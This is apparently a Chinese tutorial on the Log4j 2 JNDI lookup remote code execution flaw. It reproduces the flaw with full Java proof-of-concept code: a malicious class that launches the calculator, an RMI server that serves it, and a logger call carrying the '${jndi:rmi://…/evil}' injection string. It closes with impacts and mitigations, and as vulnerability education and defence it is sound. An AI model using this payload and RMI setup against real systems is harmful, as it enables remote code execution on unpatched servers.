12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。
Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。
一、lookup 功能造成的漏洞
Log4j 是一款开源 Java 日志记录工具。Log4j 2 是对 Log4j 的重大升级,此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
二、漏洞复现
- maven 依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
值得注意的是,springboot 项目中, spring-boot-starter 中日志启动器 spring-boot-starter-logging 使用的是 log4j-api,而 log4j-api 并不在此次漏洞的范围内,所以需要手动排除掉 spring-boot-starter 中 spring-boot-starter-logging 并加上以上依赖。
这是默认情况下spring-boot 2.6.1版本对 log4j 的使用情况:
可以看到只使用了 log4j-api。
修改过 pom 文件后 log4j 的使用情况:
此时才可以复现此次漏洞。
- 示例代码
package com.cui.log4jtest.rmi;
import java.io.IOException;
public class EvilObj {
static {
System.out.println("在这执行的");
System.out.println("open a Calculator!");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com.cui.log4jtest.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("", "com.cui.log4jtest.rmi.EvilObj", "");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
package com.cui.log4jtest.rmi;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
// String username = "${java:vm}";
String username = "${jndi:rmi://127.0.0.1:1099/evil}";
LOGGER.error("hello, {}", username);
}
}
首先运行 RMIServer,之后运行 Main。
可以看到,EvilObj 被调用了。
三、造成的危害
- client 可以获取服务器的某些信息,通过 JNDI 远程加载类
- client 向服务器注入恶意代码
四、修复方案
- 升级到log4j 2.16.0及以上
- 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
- 修改配置文件log4j2.formatMsgNoLookups=True
- 修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
- 关闭应用对外的网络连接
关于配置项的问题,可以参考源码org.apache.logging.log4j.core.pattern.MessagePatternConverter